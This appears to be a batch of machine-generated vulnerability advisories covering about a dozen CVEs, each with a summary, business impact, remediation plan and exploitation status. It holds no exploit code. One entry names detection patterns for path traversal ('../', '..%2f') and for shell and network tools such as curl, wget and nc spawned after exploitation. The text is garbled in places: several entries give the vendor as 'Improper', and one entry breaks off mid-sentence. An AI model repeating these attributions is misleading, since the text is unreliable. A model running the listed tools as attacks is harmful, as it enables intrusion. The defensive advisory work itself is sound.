Executive Summary:
A high-severity vulnerability exists in multiple products from Improper due to flawed validation of computer memory module metadata. An attacker with privileged or physical access could exploit this flaw to bypass fundamental system security barriers, leading to arbitrary code execution at the firmware level and a complete compromise of the affected system.

Vulnerability Details

CVE-ID: CVE-2024-36354

Affected Software: Improper Multiple Products

Affected Versions: See vendor advisory for specific affected versions

Vulnerability: The vulnerability stems from improper input validation of Serial Presence Detect (SPD) metadata on Dual In-line Memory Modules (DIMMs). The system's firmware fails to properly sanitize the data it reads from the DIMM's SPD chip during boot. An attacker can exploit this by using one of several methods:

1. Physical Access: Modifying the SPD data on a physical DIMM and inserting it into the target system.
2. Ring0 (Kernel-level) Access: On a system with a non-compliant DIMM, an attacker who has already achieved kernel-level access may be able to interact with the DIMM to trigger the vulnerability.
3. Compromised Update Mechanism: Gaining control over the Root of Trust for BIOS/UEFI updates to manipulate how SPD data is processed.

Successful exploitation allows an attacker to bypass the isolation of System Management Mode (SMM), a highly privileged execution mode on x86 platforms. This can result in arbitrary code execution within SMM, granting the attacker persistent and stealthy control over the entire system, invisible to the operating system and most security software.

Business Impact

This vulnerability is rated as High severity with a CVSS score of 7.5. Exploitation could lead to a complete and persistent compromise of affected systems. An attacker with SMM-level access can bypass all operating system security controls, install undetectable malware (firmware rootkits), exfiltrate sensitive data directly from memory, and disable hardware-based security features. The business risks include loss of data confidentiality and integrity, prolonged system downtime, reputational damage, and the potential for the compromised system to be used as a pivot point for further attacks within the network.

Remediation Plan

Immediate Action: Identify all affected assets and apply the security updates provided by the vendor immediately. Prioritize patching for critical systems, internet-facing servers, and systems in physically accessible locations.

Proactive Monitoring: Monitor for signs of exploitation, including unexpected system reboots, crashes during the boot process, or unauthorized modifications to firmware. Review system and security logs for evidence of privilege escalation that could lead to ring0 access, which is a prerequisite for some attack vectors. Employ firmware integrity monitoring tools to detect unauthorized changes.

Compensating Controls: If immediate patching is not feasible, implement the following controls:

• Enforce strict physical security policies for all assets to prevent unauthorized hardware access.
• Implement the principle of least privilege and robust access controls to prevent attackers from gaining ring0/kernel-level access on systems.
• Secure the BIOS/UEFI update process by enabling signed firmware updates and password-protecting firmware settings to prevent unauthorized modifications.

Exploitation Status

Public Exploit Available: false

Analyst Notes: As of September 7, 2025, there are no known public exploits or active exploitation campaigns targeting this vulnerability. The attack vectors require a high level of access (physical, ring0, or control over firmware updates), suggesting that any exploitation would likely be part of a targeted and sophisticated attack rather than a widespread campaign.

Analyst Recommendation

Given the high severity (CVSS 7.5) and the potential for a complete, persistent system compromise, we recommend that organizations prioritize applying the vendor-supplied patches to all affected systems. Although this vulnerability is not currently listed on the CISA KEV list, its impact is critical. Organizations should also review and enhance their physical security controls and internal access management policies to mitigate the non-patchable attack vectors associated with this vulnerability.

Executive Summary:
A high-severity vulnerability exists within the AMD Graphics Driver that stems from improper input validation. An attacker with local access could exploit this flaw by providing a specially crafted pointer to the driver, which could lead to a system crash or allow the attacker to write arbitrary data to memory, potentially resulting in a full system compromise.

Vulnerability Details

CVE-ID: CVE-2024-36352

Affected Software: AMD Multiple Products

Affected Versions: See vendor advisory for specific affected versions

Vulnerability: The vulnerability is an improper input validation flaw within the AMD Graphics Driver. The driver, which operates at a high privilege level (kernel mode), fails to properly sanitize or validate pointer values supplied by a lower-privileged user-mode application. An attacker can exploit this by crafting a malicious application that passes a specific, invalid pointer to the driver, leading to a memory corruption condition known as an arbitrary write. This allows the attacker to write controlled data to an arbitrary location in kernel memory, which can be leveraged to execute code with system-level privileges or cause a system crash (Denial of Service).

Business Impact

This vulnerability presents a significant risk to the organization, classified as High severity with a CVSS score of 8.4. Successful exploitation could lead to two primary outcomes. A denial of service attack would cause critical systems, such as workstations and servers, to crash, leading to operational downtime and loss of productivity. More critically, the arbitrary write capability could allow an attacker who has already gained initial low-privilege access to escalate their privileges to the highest level (SYSTEM/root), completely compromising the affected asset. This could lead to a severe data breach, deployment of ransomware, theft of intellectual property, and circumvention of all security controls on the compromised machine.

Remediation Plan

Immediate Action: Apply the security updates released by AMD to all affected systems immediately. Prioritize patching for critical workstations, servers, and systems used by privileged users. After patching, monitor system event logs for any unexpected crashes or errors related to the graphics driver and review access logs for signs of unauthorized activity.

Proactive Monitoring: Utilize Endpoint Detection and Response (EDR) tools to monitor for anomalous process behavior, especially processes interacting with the AMD graphics driver or attempting memory-writing operations. System administrators should monitor for unexpected system reboots or crashes (e.g., Blue Screen of Death in Windows, Kernel Panics in Linux) which could indicate failed exploitation attempts.

Compensating Controls: If immediate patching is not feasible, implement compensating controls to reduce risk. Enforce the principle of least privilege to ensure users operate without administrative rights, limiting an attacker's ability to run the malicious code required for exploitation. Use application control or whitelisting solutions to prevent the execution of unauthorized software on critical systems.

Exploitation Status

Public Exploit Available: false

Analyst Notes: As of September 7, 2025, there are no known public proof-of-concept exploits or active exploitation campaigns targeting this vulnerability. However, vulnerabilities of this type (kernel-level arbitrary writes) are highly sought after by threat actors for use in privilege escalation chains. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

Analyst Recommendation

Given the high severity (CVSS 8.4) and the potential for complete system compromise via privilege escalation, we strongly recommend that the organization prioritizes the immediate deployment of the vendor-supplied patches. All workstations and servers with AMD graphics components should be identified and patched on an emergency basis. While there is no current evidence of active exploitation, the technical details of the vulnerability make it a prime target for future development of exploits, warranting swift and decisive remediation.

Executive Summary:
A high-severity vulnerability has been identified in the GPU driver software from the vendor Improper. This flaw, resulting from improper input validation, could allow a remote or local attacker to execute arbitrary code, potentially leading to a complete system compromise. Organizations are urged to apply vendor-supplied security updates immediately to mitigate the significant risk of data theft, system instability, and unauthorized access.

Vulnerability Details

CVE-ID: CVE-2024-36342

Affected Software: Improper Multiple Products

Affected Versions: See vendor advisory for specific affected versions

Vulnerability: The vulnerability exists due to insufficient input validation within the GPU driver. An attacker can supply specially crafted data to an application that interacts with the driver. This malicious input is not properly sanitized, leading to a heap-based buffer overflow, where more data is written to a memory buffer than it can hold. By overwriting adjacent memory on the heap, an attacker can corrupt data structures to hijack the program's control flow and execute arbitrary code with the privileges of the GPU driver process, which can be at the kernel level.

Business Impact

This vulnerability is rated as High severity with a CVSS score of 8.8. Successful exploitation could have a severe impact on the business. An attacker achieving arbitrary code execution could take full control of an affected system, allowing them to install malware (such as ransomware or spyware), exfiltrate sensitive corporate or customer data, disrupt critical operations, or use the compromised machine as a pivot point to move laterally across the network. The specific risks include major data breaches, financial loss, reputational damage, and extended system downtime.

Remediation Plan

Immediate Action: The primary and most effective remediation is to apply the security updates provided by the vendor across all affected systems without delay. After patching, system administrators should monitor for any signs of post-patch exploitation attempts and review system and application logs for indicators of compromise that may have occurred prior to remediation.

Proactive Monitoring: Implement enhanced monitoring on critical systems where the vulnerable driver is installed. Look for anomalous behavior such as unexpected system or application crashes (especially those related to graphics processing), unusual process creation originating from the GPU driver, abnormal memory consumption patterns, and unexpected outbound network traffic from affected endpoints. Endpoint Detection and Response (EDR) solutions should be configured to detect and alert on memory corruption exploitation techniques.

Compensating Controls: If immediate patching is not feasible, implement the following compensating controls to reduce the risk:

• Use application whitelisting to prevent untrusted or unauthorized software from running and interacting with the vulnerable driver.
• Enforce the principle of least privilege for user accounts to limit their ability to install or run applications that could trigger the exploit.
• Utilize network segmentation to contain any potential breach and prevent an attacker from moving laterally from a compromised endpoint.

Exploitation Status

Public Exploit Available: false

Analyst Notes: As of September 7, 2025, there are no known public proof-of-concept exploits or active exploitation campaigns targeting this vulnerability. However, due to the high severity and the nature of the flaw (heap overflow), it is highly probable that threat actors will develop exploits. The current "No" status in the CISA KEV catalog could change if widespread exploitation is observed.

Analyst Recommendation

Given the high CVSS score of 8.8 and the potential for complete system compromise via arbitrary code execution, this vulnerability poses a significant risk to the organization. Although there is no evidence of active exploitation at this time, the severity warrants immediate attention. We strongly recommend that all system owners prioritize the deployment of the vendor-provided security patches to all affected assets. This action is critical to prevent potential exploitation and protect the organization from data breaches and operational disruption.

Executive Summary:
A high-severity vulnerability has been identified in AMD RomArmor, a foundational security feature. This flaw allows an attacker to bypass security protections when a system resumes from a standby state, potentially enabling them to steal sensitive data or compromise the system's integrity. Organizations should treat this as a high-priority issue and apply vendor-provided patches immediately to mitigate the risk of system compromise.

Vulnerability Details

CVE-ID: CVE-2024-36326

Affected Software: AMD Multiple Products

Affected Versions: See vendor advisory for specific affected versions

Vulnerability: The vulnerability exists due to a missing authorization check within the AMD RomArmor firmware security feature. RomArmor is designed to ensure the integrity of the system during the boot process. However, this flaw can be exploited during the system resume sequence from a low-power standby state (e.g., S3 sleep). An attacker with prior access to the system could leverage this window to execute code or access memory without proper validation, effectively bypassing the protections RomArmor is intended to provide and compromising the hardware-level root of trust.

Business Impact

This is a High severity vulnerability with a CVSS score of 8.4, posing a significant risk to the organization. Successful exploitation could lead to a complete compromise of the affected endpoint's confidentiality and integrity. The primary business impacts include the potential for data breaches involving sensitive corporate or customer information, loss of system integrity through the installation of persistent malware (rootkits), and reputational damage. A compromise at the firmware level undermines higher-level security controls and can be exceptionally difficult to detect and remediate.

Remediation Plan

Immediate Action: Apply vendor security updates immediately. System administrators must identify all affected assets and deploy the corresponding firmware (BIOS/UEFI) updates provided by AMD and its OEM partners (e.g., Dell, HP, Lenovo). In parallel, security teams should monitor for exploitation attempts and review access logs for any anomalous activity, particularly around system resume events.

Proactive Monitoring: Security teams should configure endpoint detection and response (EDR) tools and system logging to flag unusual activity following a system resume from standby. Specific indicators to monitor include unexpected process execution, unauthorized memory access attempts, or crashes that occur immediately after a system wakes up. Reviewing system event logs for patterns of repeated or failed resume events may also indicate attempted exploitation.

Compensating Controls: If immediate patching is not feasible, organizations should consider disabling the S3 sleep/standby state via system policy as a temporary mitigation. Forcing systems to either fully shut down or use hibernate (S4) instead of standby will prevent the vulnerable resume path from being triggered. Additionally, reinforcing physical security for all assets is crucial, as this type of vulnerability may be leveraged by an attacker with physical access.

Exploitation Status

Public Exploit Available: false

Analyst Notes: As of September 7, 2025, there are no known public proof-of-concept exploits or active attacks targeting this vulnerability in the wild. This vulnerability is not currently listed on the CISA Known Exploited Vulnerabilities (KEV) catalog. However, vulnerabilities in hardware and firmware-level security features are of high interest to sophisticated threat actors, and the public disclosure may accelerate exploit development.

Analyst Recommendation

Given the high severity (CVSS 8.4) and the critical role of RomArmor in platform security, we recommend that all available firmware patches for this vulnerability be applied with urgency. Although there is no current CISA KEV listing or evidence of active exploitation, the potential for a full system compromise makes proactive patching the most effective risk reduction strategy. Organizations should prioritize this update across their entire fleet of affected AMD-based systems and consider implementing compensating controls, such as disabling standby mode, on critical systems where patching may be delayed.

Executive Summary:
A high-severity vulnerability in GoodLock due to an improper component export could allow a malicious application to gain unauthorized permissions or access sensitive data.

Vulnerability Details

CVE-ID: CVE-2024-34598

Affected Software: Improper Multiple Products

Affected Versions: See vendor advisory for specific affected versions

Vulnerability: The GoodLock application prior to version 2 improperly exports a component. This allows other applications on the same device, including malicious ones, to interact with the exported component, potentially invoking sensitive functionality or accessing data that should be protected. This is a form of privilege escalation or security boundary bypass.

Business Impact

This vulnerability is rated high with a CVSS score of 7.7. Exploitation could allow a malicious application to perform actions with the permissions of the GoodLock application, which may be highly privileged. This could lead to unauthorized system modifications, access to sensitive user information, or a complete compromise of the device's security posture.

Remediation Plan

Immediate Action: Update the GoodLock application to version 2 or a later version where this vulnerability has been remediated.

Proactive Monitoring: Use endpoint security tools to monitor for inter-process communication that appears anomalous or violates security policies. Audit installed applications for any known malicious software that might exploit this flaw.

Compensating Controls: Avoid installing applications from untrusted third-party sources. Regularly review application permissions to ensure they are appropriate for the application's function.

Exploitation Status

Public Exploit Available: false

Analyst Notes: As of September 4, 2025, there is no public information indicating active exploitation of this vulnerability. However, local privilege escalation vulnerabilities are a common component of mobile malware attack chains.

Analyst Recommendation

This vulnerability represents a significant security risk to devices with affected versions of GoodLock installed. It is imperative that users and administrators ensure the application is updated to a patched version immediately to prevent potential exploitation by malicious apps.

Executive Summary:
A critical SQL injection vulnerability has been identified in multiple MASA CMS products, receiving the highest possible severity score. This flaw allows an unauthenticated attacker to execute arbitrary commands on the underlying database, potentially leading to a complete compromise of the system, including data theft, modification, and service disruption. Organizations using affected versions

Executive Summary:
A critical vulnerability has been identified in the InspiryThemes RealHomes product, a popular theme for real estate websites. This flaw, tracked as CVE-2024-32444, allows a low-privileged user to escalate their permissions, potentially gaining full administrative control over the affected website. Successful exploitation could lead to complete system compromise, data theft, and service disruption.

Vulnerability Details

CVE-ID: CVE-2024-32444

Affected Software: InspiryThemes RealHomes

Affected Versions: All versions up to and including 4.3.6

Vulnerability:
The vulnerability is an Incorrect Privilege Assignment flaw. This means the application fails to properly verify user permissions before allowing access to a sensitive function. An authenticated attacker with low-level privileges (such as a subscriber or agent) can exploit this weakness to illegitimately grant themselves higher-level roles, such as 'Administrator'. Once administrative privileges are obtained, the attacker has complete control over the website, including the ability to modify content, install malicious plugins, access sensitive user data, and delete the entire site.

Business Impact

This vulnerability is rated as critical severity with a CVSS score of 9.8. Exploitation could have a severe and direct impact on business operations. An attacker gaining administrative control could lead to the theft of sensitive customer and business data, resulting in regulatory fines and legal action. Furthermore, website defacement, malware distribution, or complete service unavailability would cause significant reputational damage, loss of customer trust, and financial losses.

Remediation Plan

Immediate Action:
Immediately update the InspiryThemes RealHomes theme to the latest version available from the vendor, which should be a version higher than 4.3.6. After updating, thoroughly review all user accounts, especially those with administrative privileges, to ensure no unauthorized accounts or privilege changes have occurred. Monitor system and access logs for any signs of exploitation attempts that may have occurred prior to patching.

Proactive Monitoring:
Implement enhanced monitoring of security and application logs. Specifically, look for unusual or unauthorized changes to user roles and permissions, unexpected administrative actions originating from low-privilege accounts, and modifications to core theme files or the creation of suspicious files within the web directory. Monitor for login attempts from unusual IP addresses to high-privilege accounts.

Compensating Controls:
If patching cannot be performed immediately, implement the following controls to mitigate risk:

• Deploy a Web Application Firewall (WAF) with rules designed to detect and block privilege escalation attempts.
• Strictly enforce the principle of least privilege by reviewing and limiting the permissions of all user roles to the absolute minimum required for their function.
• Temporarily disable user registration or restrict the capabilities of lower-privileged roles if possible.
• Increase the frequency of website and database backups to ensure a recent recovery point is available.

Exploitation Status

Public Exploit Available: false

Analyst Notes:
As of Sep 3, 2025, there are no known public exploits or active exploitation campaigns targeting this vulnerability. The vulnerability is not listed on the CISA Known Exploited Vulnerabilities (KEV) catalog. However, due to the critical severity and the nature of privilege escalation flaws, proof-of-concept exploits could be developed and released by security researchers or threat actors at any time.

Analyst Recommendation
Given the critical CVSS score of 9.8, this vulnerability poses a significant risk to the organization. The potential for a complete system compromise necessitates immediate action. We strongly recommend that organizations using the affected versions of InspiryThemes RealHomes apply the vendor-supplied patch without delay. A proactive approach to patching is crucial to prevent potential exploitation, even in the absence of current in-the-wild attacks.

Executive Summary:
A critical remote code execution vulnerability has been identified in SolarWinds Web Help Desk, designated CVE-2024-28988. This flaw stems from insecure Java deserialization, which could allow an unauthenticated remote attacker to execute arbitrary commands and gain complete control of the affected server. Due to the high severity (CVSS 9.8) and potential for full system compromise, immediate patching is strongly recommended to prevent data breaches, service disruption, and further network intrusion.

Vulnerability Details

CVE-ID: CVE-2024-28988

Affected Software: SolarWinds Web Help Desk

Affected Versions: See vendor advisory for specific affected versions

Vulnerability: This vulnerability is a Java Deserialization flaw. The application fails to properly validate and sanitize user-supplied data before deserializing it. An unauthenticated remote attacker can exploit this by sending a specially crafted serialized Java object to the application. When the application processes this malicious object, it can trigger the execution of arbitrary code with the permissions of the Web Help Desk service account, leading to a full compromise of the host machine.

Business Impact

This vulnerability is rated as critical severity with a CVSS score of 9.8, posing a significant risk to the organization. Successful exploitation would grant an attacker complete control over the Web Help Desk server, leading to severe consequences. These include the theft of sensitive data stored within the help desk system (such as PII, credentials, and internal support information), disruption of critical IT support services, and the potential for the attacker to use the compromised server as a foothold to move laterally across the internal network. This could facilitate wider-scale attacks, such as ransomware deployment or espionage, impacting the confidentiality, integrity, and availability of enterprise data and systems.

Remediation Plan

Immediate Action: Update all instances of SolarWinds Web Help Desk to the latest patched version as recommended by the vendor. After applying the update, it is crucial to monitor for any signs of exploitation attempts that may have occurred prior to patching by thoroughly reviewing access and application logs.

Proactive Monitoring: Implement enhanced monitoring on affected systems. Security teams should look for unusual patterns in web server access logs, specifically for long, encoded strings indicative of serialized Java objects. Monitor network traffic for unexpected outbound connections from the Web Help Desk server. On the host, use EDR or system monitoring to detect the Web Help Desk's Java process spawning suspicious child processes like cmd.exe, powershell.exe, or /bin/sh.

Compensating Controls: If immediate patching is not feasible, implement the following controls to reduce risk:

• Restrict network access to the Web Help Desk application interface to only trusted IP addresses and networks using a firewall.
• Deploy a Web Application Firewall (WAF) with rules specifically designed to detect and block Java deserialization attack patterns.
• Ensure the Web Help Desk service runs with the least possible privileges to limit the impact of a potential compromise.

Exploitation Status

Public Exploit Available: false

Analyst Notes: As of Sep 1, 2025, there are no publicly available exploit codes or active exploitation campaigns confirmed for this vulnerability. However, vulnerabilities of this type are highly sought after by threat actors. Due to the simplicity of exploiting many Java deserialization flaws, it is highly probable that a functional exploit will be developed and used in the near future.

Analyst Recommendation

Given the critical CVSS score of 9.8 and the potential for complete system compromise by an unauthenticated attacker, this vulnerability requires immediate attention. We strongly recommend that all organizations using the affected SolarWinds Web Help Desk product apply the vendor-provided security updates on an emergency basis. Although this CVE is not currently listed on the CISA KEV catalog, its severity makes it a prime candidate for future inclusion and a high-value target for attackers. Prioritize patching this vulnerability above all other routine maintenance to prevent a potentially devastating security breach.

Executive Summary:
A critical vulnerability has been identified in airc.pt MyNET software, designated CVE-2024-27708. This flaw allows a remote attacker to inject malicious content into the application, which could lead to arbitrary code execution on the server. Successful exploitation poses a severe risk of complete system compromise, data theft, and service disruption, and requires immediate attention.

Vulnerability Details

CVE-ID: CVE-2024-27708

Affected Software: airc.pt MyNET

Affected Versions: Version 26.06 and prior

Vulnerability: The vulnerability is an Iframe injection flaw within the airc.pt MyNET application. An unauthenticated, remote attacker can exploit this by crafting a malicious URL that includes a manipulated src parameter. When a user or the system processes this URL, the application improperly validates the src parameter, causing it to load and display content from an attacker-controlled source within an iframe. According to the vulnerability description, this can be escalated to achieve arbitrary code execution on the server, indicating a highly critical and complex flaw beyond typical content spoofing.

Business Impact

This vulnerability is rated as critical severity with a CVSS score of 9.6. If exploited, it could allow an attacker to gain complete control over the affected server. Potential consequences include the theft of sensitive corporate or customer data, deployment of ransomware, disruption of critical business operations, and significant reputational damage. The ability for a remote attacker to execute code makes this a top-tier threat that could serve as an initial access point for a wider network compromise.

Remediation Plan

Immediate Action: Immediately update the affected airc.pt MyNET software to a version higher than 26.06, as recommended by the vendor. After applying the patch, review access logs and system monitoring tools for any indicators of compromise that may have occurred prior to remediation.

Proactive Monitoring: Security teams should proactively monitor web server access logs for unusual requests, specifically looking for URLs with a src parameter pointing to external or unrecognized domains. Monitor for any anomalous outbound network traffic from the application server, which could indicate a successful compromise and communication with a command-and-control server.

Compensating Controls: If patching cannot be performed immediately, implement a Web Application Firewall (WAF) with rules designed to inspect and block malicious src parameters in incoming requests. Additionally, enforcing a strict Content Security Policy (CSP) with the frame-ancestors 'self' directive can help mitigate the risk by preventing the application from being framed by external sites.

Exploitation Status

Public Exploit Available: false

Analyst Notes: As of Dec 22, 2025, there are no known public exploits or active exploitation campaigns targeting this vulnerability. However, the critical CVSS score of 9.6 indicates that proof-of-concept code could be developed quickly by threat actors. The claim that an iframe injection leads directly to remote code execution is unusual and suggests a particularly severe implementation flaw.

Analyst Recommendation

Given the critical severity (CVSS 9.6) and the potential for remote code execution, this vulnerability requires immediate remediation. We strongly recommend that all affected instances of airc.pt MyNET be patched without delay. Although this vulnerability is not currently listed on the CISA KEV (Known Exploited Vulnerabilities) catalog, its high-impact nature warrants treating it with the highest priority, equivalent to a known exploited threat.

Executive Summary:
A high-severity vulnerability has been identified in multiple Fortinet products, allowing an attacker to bypass authentication controls. Successful exploitation could grant an unauthorized actor access to the affected network security appliance, potentially leading to a full network compromise. Organizations are urged to apply security updates immediately to mitigate the significant risk of unauthorized access and data breaches.

Vulnerability Details

CVE-ID: CVE-2024-26009

Affected Software: Fortinet Multiple Products

Affected Versions: See vendor advisory for specific affected versions. The vulnerability is noted to exist in FortiOS version 6.

Vulnerability: This vulnerability is an Authentication Bypass using an Alternate Path or Channel (CWE-288). An unauthenticated, remote attacker can exploit this by accessing a specific path or resource on the device's management interface that does not properly enforce authentication checks. This oversight allows the attacker to circumvent standard login procedures and gain privileged access or execute administrative functions that should otherwise be restricted.

Business Impact

This vulnerability is rated as High severity with a CVSS score of 8.1. Exploitation could have a severe impact on the business, as Fortinet devices are often core components of network security infrastructure. An attacker who successfully bypasses authentication could gain administrative control over the firewall, allowing them to disable security policies, intercept or redirect network traffic, exfiltrate sensitive data, gain a foothold for lateral movement within the corporate network, or deploy malware such as ransomware. The potential consequences include major data breaches, prolonged business disruption, and significant reputational damage.

Remediation Plan

Immediate Action: Apply the security patches provided by Fortinet across all affected devices without delay. Prioritize patching for internet-facing devices. After patching, it is critical to review system and access logs for any signs of compromise that may have occurred before the patch was applied.

Proactive Monitoring: Security teams should actively monitor for indicators of compromise. This includes reviewing logs for unusual successful access to management interfaces from untrusted or unexpected IP addresses. Scrutinize network traffic for connections to the device's management ports (e.g., HTTPS, SSH) that do not originate from designated administrative networks. Anomaly detection systems should be configured to alert on any direct access to deep-linked administrative pages that bypass the main login portal.

Compensating Controls: If immediate patching is not feasible, implement compensating controls to reduce the attack surface. Restrict access to the Fortinet management interfaces to a dedicated, secure management network or specific trusted IP addresses using firewall rules. Ensure that management interfaces are not exposed to the internet.

Exploitation Status

Public Exploit Available: False

Analyst Notes: As of August 12, 2025, there are no known public proof-of-concept exploits or reports of this vulnerability being actively exploited in the wild. However, authentication bypass vulnerabilities in perimeter security devices are highly sought after by threat actors and are often weaponized quickly. The lack of CISA KEV status should not be interpreted as a low risk; it often just means widespread exploitation has not yet been observed.

Analyst Recommendation

Given the high CVSS score and the critical role of Fortinet devices in network security, this vulnerability represents a significant risk to the organization. The primary recommendation is to patch all affected systems immediately. Due to the potential for an attacker to gain complete control of the network perimeter, this vulnerability should be treated with the highest priority. In addition to patching, we strongly recommend implementing the compensating control of restricting management interface access as a standard security best practice to provide defense-in-depth against future vulnerabilities.

Executive Summary:
A critical vulnerability has been identified in the parisneo/lollms-webui application, rated 9.6 out of 10. This flaw allows an unauthenticated attacker to remotely execute arbitrary code on the server by sending a specially crafted request. Successful exploitation could lead to a complete system compromise, resulting in data theft, service disruption, and further unauthorized access to the network.

Vulnerability Details

CVE-ID: CVE-2024-2356

Affected Software: parisneo/lollms-webui

Affected Versions: See vendor advisory for specific affected versions; the vulnerability was confirmed in the latest version available prior to the patch.

Vulnerability: A Local File Inclusion (LFI) vulnerability exists in the /reinstall_extension endpoint. The name parameter in POST requests to this endpoint is not properly sanitized, allowing an attacker to use path traversal characters (e.g., ../). An attacker can first upload a malicious Python file (e.g., as part of a discussion) and then use this vulnerability to trick the server into navigating to the upload directory and executing the file. The application's extension reinstallation mechanism improperly concatenates the user-supplied name parameter to build a file path, which is then loaded and executed by importlib.machinery.SourceFileLoader. This provides a direct path to unauthenticated Remote Code Execution (RCE) on any server where the application UI is exposed, particularly when bound to all network interfaces (0.0.0.0).

Business Impact

This vulnerability is of critical severity with a CVSS score of 9.6. Exploitation can lead to a complete compromise of the underlying server, granting an attacker the same level of access as the application itself. The potential consequences include theft of sensitive data processed by the application, deployment of ransomware, disruption of business operations, and the use of the compromised server as a beachhead to launch further attacks against the internal network. The lack of required user interaction or authentication makes this an easily exploitable vulnerability for any exposed instance, posing a significant and immediate risk to the organization's security posture and data integrity.

Remediation Plan

Immediate Action: Update the parisneo/lollms-webui application to the latest patched version immediately. After patching, monitor for any signs of post-exploitation activity and review access logs for any exploitation attempts that may have occurred prior to the update.

Proactive Monitoring:

• Review web server and application logs for POST requests to the /reinstall_extension endpoint.
• Scrutinize requests for path traversal sequences (e.g., ../, ..%2f) within the name parameter of the request body.
• Monitor for any unexpected child processes being spawned by the lollms-webui application process, especially shells (/bin/sh, cmd.exe) or network utilities (curl, wget, nc).
• Monitor for anomalous outbound network connections from the server, which could indicate a reverse shell or data exfiltration.

Compensating Controls:
If patching is not immediately possible, implement the following controls:

• Use a Web Application Firewall (WAF) to create a rule that blocks any requests to the /reinstall_extension endpoint containing path traversal characters.
• Restrict network access to the application. Ensure it is not exposed to the public internet and is only accessible from trusted IP addresses.
• If the functionality is not essential, consider disabling the extension reinstallation feature entirely through configuration or reverse proxy rules.

Exploitation Status

Public Exploit Available: true

Analyst Notes: As of Feb 2, 2026, this vulnerability is not listed on the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the public disclosure includes detailed technical information that significantly lowers the barrier for creating a functional exploit. Given the critical severity and lack of authentication required, it is highly probable that threat actors are actively scanning for and exploiting vulnerable instances.

Analyst Recommendation
Due to the critical severity (CVSS 9.6) and the high likelihood of active exploitation, this vulnerability requires immediate attention. We strongly recommend that all instances of parisneo/lollms-webui are updated to a patched version without delay. Any internet-facing instances should be considered at extreme risk and must be prioritized for remediation. If patching cannot be performed immediately, the instance should be taken offline or isolated from untrusted networks until it can be secured.

Executive Summary:
A high-severity vulnerability has been identified in AMD StoreMI™ software, which stems from incorrect default security permissions. This flaw could allow a local attacker with basic user access to escalate their privileges, potentially gaining full administrative control of the system and executing arbitrary code. This poses a significant risk to the confidentiality, integrity, and availability of affected systems.

Vulnerability Details

CVE-ID: CVE-2024-21923

Affected Software: AMD Multiple Products

Affected Versions: See vendor advisory for specific affected versions

Vulnerability: The vulnerability exists due to improper default permissions set on files or directories used by the AMD StoreMI™ software during its installation or operation. A low-privileged local user can modify or replace a legitimate application component within the StoreMI program folders with a malicious payload. When a high-privileged process associated with StoreMI attempts to execute this component, the attacker's malicious code is executed with elevated system-level permissions, leading to a full system compromise.

Business Impact

This vulnerability is rated as High severity with a CVSS score of 7.3. Successful exploitation could lead to a complete loss of confidentiality, integrity, and availability on the affected endpoint. An attacker could install persistent malware, exfiltrate sensitive data, deploy ransomware, disrupt critical operations, or use the compromised machine as a pivot point to move laterally across the corporate network. The direct business risks include data breaches, financial loss from operational downtime, and reputational damage.

Remediation Plan

Immediate Action: The primary remediation step is to identify all systems running the vulnerable AMD StoreMI™ software and immediately apply the security patches provided by AMD. As a secondary measure, administrators should manually review the file and directory permissions for the StoreMI installation and ensure they are hardened to prevent modification by non-administrative users, adhering to the principle of least privilege.

Proactive Monitoring: Monitor for any unauthorized or unusual file modifications within the AMD StoreMI™ installation directories. Security teams should configure endpoint detection and response (EDR) systems to alert on suspicious process creation originating from StoreMI services, particularly if those processes are running with elevated privileges (e.g., as SYSTEM). Review system security logs for events indicative of privilege escalation attempts.

Compensating Controls: If immediate patching is not feasible, implement compensating controls. Use application control solutions, such as Windows AppLocker or third-party tools, to prevent the execution of unauthorized executables from the affected AMD directories. Restrict interactive logon access to essential personnel on systems where the vulnerable software is installed to reduce the attack surface.

Exploitation Status

Public Exploit Available: false

Analyst Notes: As of November 23, 2025, there are no known public proof-of-concept exploits or active exploitation campaigns targeting this vulnerability. However, local privilege escalation vulnerabilities are highly sought after by threat actors who have already established an initial foothold in a network, as they are a key component in post-exploitation attack chains.

Analyst Recommendation
Given the high severity (CVSS 7.3) and the potential for complete system compromise, this vulnerability presents a significant risk. Although it is not currently listed on the CISA KEV list and lacks a public exploit, its nature as a local privilege escalation makes it a prime target for post-compromise activities. We strongly recommend that organizations prioritize the identification of all affected assets and deploy the vendor-supplied patches without delay to prevent potential exploitation.

Executive Summary:
A high-severity vulnerability, identified as CVE-2024-21922, exists in AMD StoreMI™ software. This flaw allows a local attacker to elevate their privileges on a system, potentially leading to arbitrary code execution and full system compromise. Organizations using the affected AMD software should prioritize immediate remediation to prevent unauthorized access and control of their systems.

Vulnerability Details

CVE-ID: CVE-2024-21922

Affected Software: AMD StoreMI™

Affected Versions: See vendor advisory for specific affected versions

Vulnerability: This vulnerability is a form of DLL (Dynamic-Link Library) hijacking. The AMD StoreMI™ application attempts to load a DLL without specifying its full, absolute path. An attacker with standard user permissions on the system can place a specially crafted, malicious DLL in a directory that the application searches before the legitimate DLL's location. When the vulnerable AMD software is launched, it will inadvertently load and execute the attacker's malicious code with the elevated privileges of the StoreMI application, leading to privilege escalation.

Business Impact

This vulnerability is rated as high severity with a CVSS score of 7.3. A successful exploit could grant an attacker full administrative or SYSTEM-level control over an affected workstation or server. This level of access could lead to severe business consequences, including the theft of sensitive corporate data, deployment of ransomware, installation of persistent malware for long-term espionage, and disruption of critical business operations. A compromised system could also be used as a pivot point to launch further attacks across the internal network.

Remediation Plan

Immediate Action:

• Identify all assets running the vulnerable versions of AMD StoreMI™ software.
• Apply the security patches provided by AMD immediately, prioritizing critical systems and servers.
• Review user permissions and access controls to enforce the principle of least privilege. This can limit an attacker's ability to place malicious files in sensitive locations on the file system.

Proactive Monitoring:

• Monitor system logs for unusual process creation originating from AMD StoreMI™ executables.
• Utilize endpoint security tools (like Sysmon) to monitor for unexpected DLLs being loaded by the StoreMI process (Event ID 7).
• Watch for suspicious file write operations in the application's directory or other locations within the standard DLL search path.

Compensating Controls:

• If immediate patching is not feasible, implement application whitelisting (e.g., AppLocker, Windows Defender Application Control) to restrict the execution of unauthorized DLLs.
• Harden file system permissions to prevent standard users from writing files to directories where the application resides or in system-wide paths like C:\Windows.
• Ensure Endpoint Detection and Response (EDR) solutions are deployed and configured to detect and block common DLL hijacking techniques.

Exploitation Status

Public Exploit Available: false

